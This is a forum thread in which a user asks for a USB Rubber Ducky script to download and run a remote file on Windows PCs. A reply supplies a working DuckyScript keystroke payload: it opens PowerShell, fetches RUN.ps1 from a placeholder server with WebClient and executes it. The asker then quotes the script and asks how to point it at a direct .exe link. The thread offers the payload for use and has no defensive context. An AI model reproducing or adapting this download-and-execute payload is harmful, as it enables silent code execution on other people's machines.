Omega52 Posted September 9, 2020 Share Posted September 9, 2020 Hi, can someone paste a code code download and run a remote file on a windows 7 and windows 10 PC using Rubber Ducky? Thanks Quote Link to comment Share on other sites More sharing options...
fvrtemp Posted September 11, 2020 Share Posted September 11, 2020 REM Windows 10: Poweshell administrator download and execute file DELAY 1000 GUI r DELAY 200 REM my best attempt at a elevated powershell instance STRING powershell Start-Process powershell ENTER DELAY 3000 STRING $down = New-Object System.Net.WebClient;$file = 'RUN.ps1'; $url = 'http://<SERVER>/'+$file; $down.DownloadFile($url,$file);powershell .\$file;Exit; ENTER Quote Link to comment Share on other sites More sharing options...
Omega52 Posted September 12, 2020 Author Share Posted September 12, 2020 On 9/11/2020 at 11:58 AM, fvrtemp said: REM Windows 10: Poweshell administrator download and execute file DELAY 1000 GUI r DELAY 200 REM my best attempt at a elevated powershell instance STRING powershell Start-Process powershell ENTER DELAY 3000 STRING $down = New-Object System.Net.WebClient;$file = 'RUN.ps1'; $url = 'http://<SERVER>/'+$file; $down.DownloadFile($url,$file);powershell .\$file;Exit; ENTER Thanks for your reply. If my exe file direct link is for example http://www.mylink.com/file.exe . How should i write it in this line ? STRING $down = New-Object System.Net.WebClient;$file = 'RUN.ps1'; $url = 'http://<SERVER>/'+$file; $down.DownloadFile($url,$file);powershell .\$file;Exit; Thanks Quote Link to comment Share on other sites More sharing options...
Vivaldi Posted November 1, 2021 Share Posted November 1, 2021 (edited) Hi there! Little late to the party. But I did create a quick little one liner to do just that right here! Edited November 1, 2021 by Vivaldi Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.